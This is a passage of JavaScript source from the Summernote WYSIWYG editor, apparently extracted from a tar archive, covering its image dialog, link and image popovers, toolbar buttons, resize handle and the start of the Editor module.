' ' + ' KMGTP'[unit] + 'B'; imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`; } const body = [ '<div class="form-group note-form-group note-group-select-from-files">', '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>', '<input class="note-image-input note-form-control note-input" ', ' type="file" name="files" accept="image/*" multiple="multiple" />', imageLimitation, '</div>', '<div class="form-group note-group-image-url" style="overflow:auto;">', '<label class="note-form-label">' + this.lang.image.url + '</label>', '<input class="note-image-url form-control note-form-control note-input ', ' col-md-12" type="text" />', '</div>' ].join(''); const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn'; const footer = `<button type="submit" href="#" class="${buttonClass}" disabled>${this.lang.image.insert}</button>`; this.$dialog = this.ui.dialog({ title: this.lang.image.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); } destroy() { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); } bindEnterKey($input, $btn) { $input.on('keypress', (event) => { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); } show() { this.context.invoke('editor.saveRange'); this.showImageDialog().then((data) => { // [workaround] hide dialog before restore range for IE range focus this.ui.hideDialog(this.$dialog); this.context.invoke('editor.restoreRange'); if (typeof data === 'string') { // image url this.context.invoke('editor.insertImage', data); } else { // array of files this.context.invoke('editor.insertImagesOrCallback', data); } }).fail(() => { this.context.invoke('editor.restoreRange'); }); } /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ showImageDialog() { return $.Deferred((deferred) => { const $imageInput = this.$dialog.find('.note-image-input'); const $imageUrl = this.$dialog.find('.note-image-url'); const $imageBtn = this.$dialog.find('.note-image-btn'); this.ui.onDialogShown(this.$dialog, () => { this.context.triggerEvent('dialog.shown'); // Cloning imageInput to clear element. $imageInput.replaceWith($imageInput.clone().on('change', (event) => { deferred.resolve(event.target.files || event.target.value); }).val('')); $imageBtn.click((event) => { event.preventDefault(); deferred.resolve($imageUrl.val()); }); $imageUrl.on('keyup paste', () => { const url = $imageUrl.val(); this.ui.toggleBtn($imageBtn, url); }).val(''); if (!env.isSupportTouch) { $imageUrl.trigger('focus'); } this.bindEnterKey($imageUrl, $imageBtn); }); this.ui.onDialogHidden(this.$dialog, () => { $imageInput.off('change'); $imageUrl.off('keyup paste keypress'); $imageBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); this.ui.showDialog(this.$dialog); }); } } js/base/module/ImagePopover.js000064400000002777151677272030012341 0ustar00import $ from 'jquery'; import lists from '../core/lists'; import dom from '../core/dom'; /** * Image popover module * mouse events that show/hide popover will be handled by Handle.js. * Handle.js will receive the events and invoke 'imagePopover.update'. */ export default class ImagePopover { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.editable = context.layoutInfo.editable[0]; this.options = context.options; this.events = { 'summernote.disable': () => { this.hide(); } }; } shouldInitialize() { return !lists.isEmpty(this.options.popover.image); } initialize() { this.$popover = this.ui.popover({ className: 'note-image-popover' }).render().appendTo(this.options.container); const $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.image); } destroy() { this.$popover.remove(); } update(target) { if (dom.isImg(target)) { const pos = dom.posFromPlaceholder(target); const posEditor = dom.posFromPlaceholder(this.editable); this.$popover.css({ display: 'block', left: this.options.popatmouse ? event.pageX - 20 : pos.left, top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top) }); } else { this.hide(); } } hide() { this.$popover.hide(); } } js/base/module/LinkPopover.js000064400000003517151677272030012205 0ustar00import $ from 'jquery'; import lists from '../core/lists'; import dom from '../core/dom'; export default class LinkPopover { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => { this.update(); }, 'summernote.disable summernote.dialog.shown': () => { this.hide(); } }; } shouldInitialize() { return !lists.isEmpty(this.options.popover.link); } initialize() { this.$popover = this.ui.popover({ className: 'note-link-popover', callback: ($node) => { const $content = $node.find('.popover-content,.note-popover-content'); $content.prepend('<span><a target="_blank"></a> </span>'); } }).render().appendTo(this.options.container); const $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.link); } destroy() { this.$popover.remove(); } update() { // Prevent focusing on editable when invoke('code') is executed if (!this.context.invoke('editor.hasFocus')) { this.hide(); return; } const rng = this.context.invoke('editor.createRange'); if (rng.isCollapsed() && rng.isOnAnchor()) { const anchor = dom.ancestor(rng.sc, dom.isAnchor); const href = $(anchor).attr('href'); this.$popover.find('a').attr('href', href).html(href); const pos = dom.posFromPlaceholder(anchor); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } } hide() { this.$popover.hide(); } } js/base/module/Buttons.js000064400000073140151677272030011372 0ustar00import $ from 'jquery'; import func from '../core/func'; import lists from '../core/lists'; import env from '../core/env'; export default class Buttons { constructor(context) { this.ui = $.summernote.ui; this.context = context; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.lang = this.options.langInfo; this.invertedKeyMap = func.invertObject( this.options.keyMap[env.isMac ? 'mac' : 'pc'] ); } representShortcut(editorMethod) { let shortcut = this.invertedKeyMap[editorMethod]; if (!this.options.shortcuts || !shortcut) { return ''; } if (env.isMac) { shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧'); } shortcut = shortcut.replace('BACKSLASH', '\\') .replace('SLASH', '/') .replace('LEFTBRACKET', '[') .replace('RIGHTBRACKET', ']'); return ' (' + shortcut + ')'; } button(o) { if (!this.options.tooltip && o.tooltip) { delete o.tooltip; } o.container = this.options.container; return this.ui.button(o); } initialize() { this.addToolbarButtons(); this.addImagePopoverButtons(); this.addLinkPopoverButtons(); this.addTablePopoverButtons(); this.fontInstalledMap = {}; } destroy() { delete this.fontInstalledMap; } isFontInstalled(name) { if (!this.fontInstalledMap.hasOwnProperty(name)) { this.fontInstalledMap[name] = env.isFontInstalled(name) || lists.contains(this.options.fontNamesIgnoreCheck, name); } return this.fontInstalledMap[name]; } isFontDeservedToAdd(name) { const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy']; name = name.toLowerCase(); return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1)); } addToolbarButtons() { this.context.memo('button.style', () => { return this.ui.buttonGroup([ this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents( this.ui.icon(this.options.icons.magic), this.options ), tooltip: this.lang.style.style, data: { toggle: 'dropdown' } }), this.ui.dropdown({ className: 'dropdown-style', items: this.options.styleTags, title: this.lang.style.style, template: (item) => { if (typeof item === 'string') { item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) }; } const tag = item.tag; const title = item.title; const style = item.style ? ' style="' + item.style + '" ' : ''; const className = item.className ? ' class="' + item.className + '"' : ''; return '<' + tag + style + className + '>' + title + '</' + tag + '>'; }, click: this.context.createInvokeHandler('editor.formatBlock') }) ]).render(); }); for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) { const item = this.options.styleTags[styleIdx]; this.context.memo('button.style.' + item, () => { return this.button({ className: 'note-btn-style-' + item, contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>', tooltip: this.lang.style[item], click: this.context.createInvokeHandler('editor.formatBlock') }).render(); }); } this.context.memo('button.bold', () => { return this.button({ className: 'note-btn-bold', contents: this.ui.icon(this.options.icons.bold), tooltip: this.lang.font.bold + this.representShortcut('bold'), click: this.context.createInvokeHandlerAndUpdateState('editor.bold') }).render(); }); this.context.memo('button.italic', () => { return this.button({ className: 'note-btn-italic', contents: this.ui.icon(this.options.icons.italic), tooltip: this.lang.font.italic + this.representShortcut('italic'), click: this.context.createInvokeHandlerAndUpdateState('editor.italic') }).render(); }); this.context.memo('button.underline', () => { return this.button({ className: 'note-btn-underline', contents: this.ui.icon(this.options.icons.underline), tooltip: this.lang.font.underline + this.representShortcut('underline'), click: this.context.createInvokeHandlerAndUpdateState('editor.underline') }).render(); }); this.context.memo('button.clear', () => { return this.button({ contents: this.ui.icon(this.options.icons.eraser), tooltip: this.lang.font.clear + this.representShortcut('removeFormat'), click: this.context.createInvokeHandler('editor.removeFormat') }).render(); }); this.context.memo('button.strikethrough', () => { return this.button({ className: 'note-btn-strikethrough', contents: this.ui.icon(this.options.icons.strikethrough), tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'), click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough') }).render(); }); this.context.memo('button.superscript', () => { return this.button({ className: 'note-btn-superscript', contents: this.ui.icon(this.options.icons.superscript), tooltip: this.lang.font.superscript, click: this.context.createInvokeHandlerAndUpdateState('editor.superscript') }).render(); }); this.context.memo('button.subscript', () => { return this.button({ className: 'note-btn-subscript', contents: this.ui.icon(this.options.icons.subscript), tooltip: this.lang.font.subscript, click: this.context.createInvokeHandlerAndUpdateState('editor.subscript') }).render(); }); this.context.memo('button.fontname', () => { const styleInfo = this.context.invoke('editor.currentStyle'); // Add 'default' fonts into the fontnames array if not exist $.each(styleInfo['font-family'].split(','), (idx, fontname) => { fontname = fontname.trim().replace(/['"]+/g, ''); if (this.isFontDeservedToAdd(fontname)) { if ($.inArray(fontname, this.options.fontNames) === -1) { this.options.fontNames.push(fontname); } } }); return this.ui.buttonGroup([ this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents( '<span class="note-current-fontname"/>', this.options ), tooltip: this.lang.font.name, data: { toggle: 'dropdown' } }), this.ui.dropdownCheck({ className: 'dropdown-fontname', checkClassName: this.options.icons.menuCheck, items: this.options.fontNames.filter(this.isFontInstalled.bind(this)), title: this.lang.font.name, template: (item) => { return '<span style="font-family: \'' + item + '\'">' + item + '</span>'; }, click: this.context.createInvokeHandlerAndUpdateState('editor.fontName') }) ]).render(); }); this.context.memo('button.fontsize', () => { return this.ui.buttonGroup([ this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', this.options), tooltip: this.lang.font.size, data: { toggle: 'dropdown' } }), this.ui.dropdownCheck({ className: 'dropdown-fontsize', checkClassName: this.options.icons.menuCheck, items: this.options.fontSizes, title: this.lang.font.size, click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize') }) ]).render(); }); this.context.memo('button.color', () => { return this.ui.buttonGroup({ className: 'note-color', children: [ this.button({ className: 'note-current-color-button', contents: this.ui.icon(this.options.icons.font + ' note-recent-color'), tooltip: this.lang.color.recent, click: (e) => { const $button = $(e.currentTarget); this.context.invoke('editor.color', { backColor: $button.attr('data-backColor'), foreColor: $button.attr('data-foreColor') }); }, callback: ($button) => { const $recentColor = $button.find('.note-recent-color'); $recentColor.css('background-color', '#FFFF00'); $button.attr('data-backColor', '#FFFF00'); } }), this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents('', this.options), tooltip: this.lang.color.more, data: { toggle: 'dropdown' } }), this.ui.dropdown({ items: [ '<div class="note-palette">', ' <div class="note-palette-title">' + this.lang.color.background + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">', this.lang.color.transparent, ' </button>', ' </div>', ' <div class="note-holder" data-event="backColor"/>', '</div>', '<div class="note-palette">', ' <div class="note-palette-title">' + this.lang.color.foreground + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">', this.lang.color.resetToDefault, ' </button>', ' </div>', ' <div class="note-holder" data-event="foreColor"/>', '</div>' ].join(''), callback: ($dropdown) => { $dropdown.find('.note-holder').each((idx, item) => { const $holder = $(item); $holder.append(this.ui.palette({ colors: this.options.colors, colorsName: this.options.colorsName, eventName: $holder.data('event'), container: this.options.container, tooltip: this.options.tooltip }).render()); }); }, click: (event) => { const $button = $(event.target); const eventName = $button.data('event'); const value = $button.data('value'); if (eventName && value) { const key = eventName === 'backColor' ? 'background-color' : 'color'; const $color = $button.closest('.note-color').find('.note-recent-color'); const $currentButton = $button.closest('.note-color').find('.note-current-color-button'); $color.css(key, value); $currentButton.attr('data-' + eventName, value); this.context.invoke('editor.' + eventName, value); } } }) ] }).render(); }); this.context.memo('button.ul', () => { return this.button({ contents: this.ui.icon(this.options.icons.unorderedlist), tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'), click: this.context.createInvokeHandler('editor.insertUnorderedList') }).render(); }); this.context.memo('button.ol', () => { return this.button({ contents: this.ui.icon(this.options.icons.orderedlist), tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'), click: this.context.createInvokeHandler('editor.insertOrderedList') }).render(); }); const justifyLeft = this.button({ contents: this.ui.icon(this.options.icons.alignLeft), tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'), click: this.context.createInvokeHandler('editor.justifyLeft') }); const justifyCenter = this.button({ contents: this.ui.icon(this.options.icons.alignCenter), tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'), click: this.context.createInvokeHandler('editor.justifyCenter') }); const justifyRight = this.button({ contents: this.ui.icon(this.options.icons.alignRight), tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'), click: this.context.createInvokeHandler('editor.justifyRight') }); const justifyFull = this.button({ contents: this.ui.icon(this.options.icons.alignJustify), tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'), click: this.context.createInvokeHandler('editor.justifyFull') }); const outdent = this.button({ contents: this.ui.icon(this.options.icons.outdent), tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'), click: this.context.createInvokeHandler('editor.outdent') }); const indent = this.button({ contents: this.ui.icon(this.options.icons.indent), tooltip: this.lang.paragraph.indent + this.representShortcut('indent'), click: this.context.createInvokeHandler('editor.indent') }); this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render')); this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render')); this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render')); this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render')); this.context.memo('button.outdent', func.invoke(outdent, 'render')); this.context.memo('button.indent', func.invoke(indent, 'render')); this.context.memo('button.paragraph', () => { return this.ui.buttonGroup([ this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options), tooltip: this.lang.paragraph.paragraph, data: { toggle: 'dropdown' } }), this.ui.dropdown([ this.ui.buttonGroup({ className: 'note-align', children: [justifyLeft, justifyCenter, justifyRight, justifyFull] }), this.ui.buttonGroup({ className: 'note-list', children: [outdent, indent] }) ]) ]).render(); }); this.context.memo('button.height', () => { return this.ui.buttonGroup([ this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options), tooltip: this.lang.font.height, data: { toggle: 'dropdown' } }), this.ui.dropdownCheck({ items: this.options.lineHeights, checkClassName: this.options.icons.menuCheck, className: 'dropdown-line-height', title: this.lang.font.height, click: this.context.createInvokeHandler('editor.lineHeight') }) ]).render(); }); this.context.memo('button.table', () => { return this.ui.buttonGroup([ this.button({ className: 'dropdown-toggle', contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options), tooltip: this.lang.table.table, data: { toggle: 'dropdown' } }), this.ui.dropdown({ title: this.lang.table.table, className: 'note-table', items: [ '<div class="note-dimension-picker">', ' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>', ' <div class="note-dimension-picker-highlighted"/>', ' <div class="note-dimension-picker-unhighlighted"/>', '</div>', '<div class="note-dimension-display">1 x 1</div>' ].join('') }) ], { callback: ($node) => { const $catcher = $node.find('.note-dimension-picker-mousecatcher'); $catcher.css({ width: this.options.insertTableMaxSize.col + 'em', height: this.options.insertTableMaxSize.row + 'em' }).mousedown(this.context.createInvokeHandler('editor.insertTable')) .on('mousemove', this.tableMoveHandler.bind(this)); } }).render(); }); this.context.memo('button.link', () => { return this.button({ contents: this.ui.icon(this.options.icons.link), tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'), click: this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.picture', () => { return this.button({ contents: this.ui.icon(this.options.icons.picture), tooltip: this.lang.image.image, click: this.context.createInvokeHandler('imageDialog.show') }).render(); }); this.context.memo('button.video', () => { return this.button({ contents: this.ui.icon(this.options.icons.video), tooltip: this.lang.video.video, click: this.context.createInvokeHandler('videoDialog.show') }).render(); }); this.context.memo('button.hr', () => { return this.button({ contents: this.ui.icon(this.options.icons.minus), tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'), click: this.context.createInvokeHandler('editor.insertHorizontalRule') }).render(); }); this.context.memo('button.fullscreen', () => { return this.button({ className: 'btn-fullscreen', contents: this.ui.icon(this.options.icons.arrowsAlt), tooltip: this.lang.options.fullscreen, click: this.context.createInvokeHandler('fullscreen.toggle') }).render(); }); this.context.memo('button.codeview', () => { return this.button({ className: 'btn-codeview', contents: this.ui.icon(this.options.icons.code), tooltip: this.lang.options.codeview, click: this.context.createInvokeHandler('codeview.toggle') }).render(); }); this.context.memo('button.redo', () => { return this.button({ contents: this.ui.icon(this.options.icons.redo), tooltip: this.lang.history.redo + this.representShortcut('redo'), click: this.context.createInvokeHandler('editor.redo') }).render(); }); this.context.memo('button.undo', () => { return this.button({ contents: this.ui.icon(this.options.icons.undo), tooltip: this.lang.history.undo + this.representShortcut('undo'), click: this.context.createInvokeHandler('editor.undo') }).render(); }); this.context.memo('button.help', () => { return this.button({ contents: this.ui.icon(this.options.icons.question), tooltip: this.lang.options.help, click: this.context.createInvokeHandler('helpDialog.show') }).render(); }); } /** * image : [ * ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], * ['float', ['floatLeft', 'floatRight', 'floatNone' ]], * ['remove', ['removeMedia']] * ], */ addImagePopoverButtons() { // Image Size Buttons this.context.memo('button.imageSize100', () => { return this.button({ contents: '<span class="note-fontsize-10">100%</span>', tooltip: this.lang.image.resizeFull, click: this.context.createInvokeHandler('editor.resize', '1') }).render(); }); this.context.memo('button.imageSize50', () => { return this.button({ contents: '<span class="note-fontsize-10">50%</span>', tooltip: this.lang.image.resizeHalf, click: this.context.createInvokeHandler('editor.resize', '0.5') }).render(); }); this.context.memo('button.imageSize25', () => { return this.button({ contents: '<span class="note-fontsize-10">25%</span>', tooltip: this.lang.image.resizeQuarter, click: this.context.createInvokeHandler('editor.resize', '0.25') }).render(); }); // Float Buttons this.context.memo('button.floatLeft', () => { return this.button({ contents: this.ui.icon(this.options.icons.alignLeft), tooltip: this.lang.image.floatLeft, click: this.context.createInvokeHandler('editor.floatMe', 'left') }).render(); }); this.context.memo('button.floatRight', () => { return this.button({ contents: this.ui.icon(this.options.icons.alignRight), tooltip: this.lang.image.floatRight, click: this.context.createInvokeHandler('editor.floatMe', 'right') }).render(); }); this.context.memo('button.floatNone', () => { return this.button({ contents: this.ui.icon(this.options.icons.alignJustify), tooltip: this.lang.image.floatNone, click: this.context.createInvokeHandler('editor.floatMe', 'none') }).render(); }); // Remove Buttons this.context.memo('button.removeMedia', () => { return this.button({ contents: this.ui.icon(this.options.icons.trash), tooltip: this.lang.image.remove, click: this.context.createInvokeHandler('editor.removeMedia') }).render(); }); } addLinkPopoverButtons() { this.context.memo('button.linkDialogShow', () => { return this.button({ contents: this.ui.icon(this.options.icons.link), tooltip: this.lang.link.edit, click: this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.unlink', () => { return this.button({ contents: this.ui.icon(this.options.icons.unlink), tooltip: this.lang.link.unlink, click: this.context.createInvokeHandler('editor.unlink') }).render(); }); } /** * table : [ * ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], * ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] * ], */ addTablePopoverButtons() { this.context.memo('button.addRowUp', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.rowAbove), tooltip: this.lang.table.addRowAbove, click: this.context.createInvokeHandler('editor.addRow', 'top') }).render(); }); this.context.memo('button.addRowDown', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.rowBelow), tooltip: this.lang.table.addRowBelow, click: this.context.createInvokeHandler('editor.addRow', 'bottom') }).render(); }); this.context.memo('button.addColLeft', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.colBefore), tooltip: this.lang.table.addColLeft, click: this.context.createInvokeHandler('editor.addCol', 'left') }).render(); }); this.context.memo('button.addColRight', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.colAfter), tooltip: this.lang.table.addColRight, click: this.context.createInvokeHandler('editor.addCol', 'right') }).render(); }); this.context.memo('button.deleteRow', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.rowRemove), tooltip: this.lang.table.delRow, click: this.context.createInvokeHandler('editor.deleteRow') }).render(); }); this.context.memo('button.deleteCol', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.colRemove), tooltip: this.lang.table.delCol, click: this.context.createInvokeHandler('editor.deleteCol') }).render(); }); this.context.memo('button.deleteTable', () => { return this.button({ className: 'btn-md', contents: this.ui.icon(this.options.icons.trash), tooltip: this.lang.table.delTable, click: this.context.createInvokeHandler('editor.deleteTable') }).render(); }); } build($container, groups) { for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) { const group = groups[groupIdx]; const groupName = $.isArray(group) ? group[0] : group; const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group]; const $group = this.ui.buttonGroup({ className: 'note-' + groupName }).render(); for (let idx = 0, len = buttons.length; idx < len; idx++) { const btn = this.context.memo('button.' + buttons[idx]); if (btn) { $group.append(typeof btn === 'function' ? btn(this.context) : btn); } } $group.appendTo($container); } } /** * @param {jQuery} [$container] */ updateCurrentStyle($container) { const $cont = $container || this.$toolbar; const styleInfo = this.context.invoke('editor.currentStyle'); this.updateBtnStates($cont, { '.note-btn-bold': () => { return styleInfo['font-bold'] === 'bold'; }, '.note-btn-italic': () => { return styleInfo['font-italic'] === 'italic'; }, '.note-btn-underline': () => { return styleInfo['font-underline'] === 'underline'; }, '.note-btn-subscript': () => { return styleInfo['font-subscript'] === 'subscript'; }, '.note-btn-superscript': () => { return styleInfo['font-superscript'] === 'superscript'; }, '.note-btn-strikethrough': () => { return styleInfo['font-strikethrough'] === 'strikethrough'; } }); if (styleInfo['font-family']) { const fontNames = styleInfo['font-family'].split(',').map((name) => { return name.replace(/[\'\"]/g, '') .replace(/\s+$/, '') .replace(/^\s+/, ''); }); const fontName = lists.find(fontNames, this.isFontInstalled.bind(this)); $cont.find('.dropdown-fontname a').each((idx, item) => { const $item = $(item); // always compare string to avoid creating another func. const isChecked = ($item.data('value') + '') === (fontName + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName); } if (styleInfo['font-size']) { const fontSize = styleInfo['font-size']; $cont.find('.dropdown-fontsize a').each((idx, item) => { const $item = $(item); // always compare with string to avoid creating another func. const isChecked = ($item.data('value') + '') === (fontSize + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontsize').text(fontSize); } if (styleInfo['line-height']) { const lineHeight = styleInfo['line-height']; $cont.find('.dropdown-line-height li a').each((idx, item) => { // always compare with string to avoid creating another func. const isChecked = ($(item).data('value') + '') === (lineHeight + ''); this.className = isChecked ? 'checked' : ''; }); } } updateBtnStates($container, infos) { $.each(infos, (selector, pred) => { this.ui.toggleBtnActive($container.find(selector), pred()); }); } tableMoveHandler(event) { const PX_PER_EM = 18; const $picker = $(event.target.parentNode); // target is mousecatcher const $dimensionDisplay = $picker.next(); const $catcher = $picker.find('.note-dimension-picker-mousecatcher'); const $highlighted = $picker.find('.note-dimension-picker-highlighted'); const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted'); let posOffset; // HTML5 with jQuery - e.offsetX is undefined in Firefox if (event.offsetX === undefined) { const posCatcher = $(event.target).offset(); posOffset = { x: event.pageX - posCatcher.left, y: event.pageY - posCatcher.top }; } else { posOffset = { x: event.offsetX, y: event.offsetY }; } const dim = { c: Math.ceil(posOffset.x / PX_PER_EM) || 1, r: Math.ceil(posOffset.y / PX_PER_EM) || 1 }; $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' }); $catcher.data('value', dim.c + 'x' + dim.r); if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) { $unhighlighted.css({ width: dim.c + 1 + 'em' }); } if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) { $unhighlighted.css({ height: dim.r + 1 + 'em' }); } $dimensionDisplay.html(dim.c + ' x ' + dim.r); } } js/base/module/AutoSync.js000064400000000567151677272030011504 0ustar00import dom from '../core/dom'; /** * textarea auto sync. */ export default class AutoSync { constructor(context) { this.$note = context.layoutInfo.note; this.events = { 'summernote.change': () => { this.$note.val(context.invoke('code')); } }; } shouldInitialize() { return dom.isTextarea(this.$note[0]); } } js/base/module/Handle.js000064400000010230151677272030011116 0ustar00import $ from 'jquery'; import dom from '../core/dom'; export default class Handle { constructor(context) { this.context = context; this.$document = $(document); this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.lang = this.options.langInfo; this.events = { 'summernote.mousedown': (we, e) => { if (this.update(e.target)) { e.preventDefault(); } }, 'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => { this.update(); }, 'summernote.disable': () => { this.hide(); }, 'summernote.codeview.toggled': () => { this.update(); } }; } initialize() { this.$handle = $([ '<div class="note-handle">', '<div class="note-control-selection">', '<div class="note-control-selection-bg"></div>', '<div class="note-control-holder note-control-nw"></div>', '<div class="note-control-holder note-control-ne"></div>', '<div class="note-control-holder note-control-sw"></div>', '<div class="', (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'), ' note-control-se"></div>', (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'), '</div>', '</div>' ].join('')).prependTo(this.$editingArea); this.$handle.on('mousedown', (event) => { if (dom.isControlSizing(event.target)) { event.preventDefault(); event.stopPropagation(); const $target = this.$handle.find('.note-control-selection').data('target'); const posStart = $target.offset(); const scrollTop = this.$document.scrollTop(); const onMouseMove = (event) => { this.context.invoke('editor.resizeTo', { x: event.clientX - posStart.left, y: event.clientY - (posStart.top - scrollTop) }, $target, !event.shiftKey); this.update($target[0]); }; this.$document .on('mousemove', onMouseMove) .one('mouseup', (e) => { e.preventDefault(); this.$document.off('mousemove', onMouseMove); this.context.invoke('editor.afterCommand'); }); if (!$target.data('ratio')) { // original ratio. $target.data('ratio', $target.height() / $target.width()); } } }); // Listen for scrolling on the handle overlay. this.$handle.on('wheel', (e) => { e.preventDefault(); this.update(); }); } destroy() { this.$handle.remove(); } update(target) { if (this.context.isDisabled()) { return false; } const isImage = dom.isImg(target); const $selection = this.$handle.find('.note-control-selection'); this.context.invoke('imagePopover.update', target); if (isImage) { const $image = $(target); const position = $image.position(); const pos = { left: position.left + parseInt($image.css('marginLeft'), 10), top: position.top + parseInt($image.css('marginTop'), 10) }; // exclude margin const imageSize = { w: $image.outerWidth(false), h: $image.outerHeight(false) }; $selection.css({ display: 'block', left: pos.left, top: pos.top, width: imageSize.w, height: imageSize.h }).data('target', $image); // save current image element. const origImageObj = new Image(); origImageObj.src = $image.attr('src'); const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')'; $selection.find('.note-control-selection-info').text(sizingText); this.context.invoke('editor.saveTarget', target); } else { this.hide(); } return isImage; } /** * hide * * @param {jQuery} $handle */ hide() { this.context.invoke('editor.clearTarget'); this.$handle.children().hide(); } } js/base/module/Editor.js000064400000055561151677272030011171 0ustar00import $ from 'jquery'; import env from '../core/env'; import key from '../core/key'; import func from '../core/func'; import lists from '../core/lists'; import dom from '../core/dom'; import range from '../core/range'; import { readFileAsDataURL, createImage } from '../core/async'; import History from '../editing/History'; import Style from '../editing/Style'; import Typing from '../editing/Typing'; import Table from '../editing/Table'; import Bullet from '../editing/Bullet'; const KEY_BOGUS = 'bogus'; /** * @class Editor */ export default class Editor { constructor(context) { this.context = context; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.editable = this.$editable[0]; this.lastRange = null; this.style = new Style(); this.table = new Table(); this.typing = new Typing(); this.bullet = new Bullet(); this.history = new History(this.$editable); this.context.memo('help.undo', this.lang.help.undo); this.context.memo('help.redo', this.lang.help.redo); this.context.memo('help.tab', this.lang.help.tab); this.context.memo('help.untab', this.lang.help.untab); this.context.memo('help.insertParagraph', this.lang.help.insertParagraph); this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList); this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList); this.context.memo('help.indent', this.lang.help.indent); this.context.memo('help.outdent', this.lang.help.outdent); this.context.memo('help.formatPara', this.lang.help.formatPara); this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule); this.context.memo('help.fontName', this.lang.help.fontName); // native commands(with execCommand), generate function for execCommand const commands = [ 'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript', 'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull', 'formatBlock', 'removeFormat', 'backColor' ]; for (let idx = 0, len = commands.length; idx < len; idx++) { this[commands[idx]] = ((sCmd) => { return (value) => { this.beforeCommand(); document.execCommand(sCmd, false, value); this.afterCommand(true); }; })(commands[idx]); this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]); } this.fontName = this.wrapCommand((value) => { return this.fontStyling('font-family', "\'" + value + "\'"); }); this.fontSize = this.wrapCommand((value) => { return 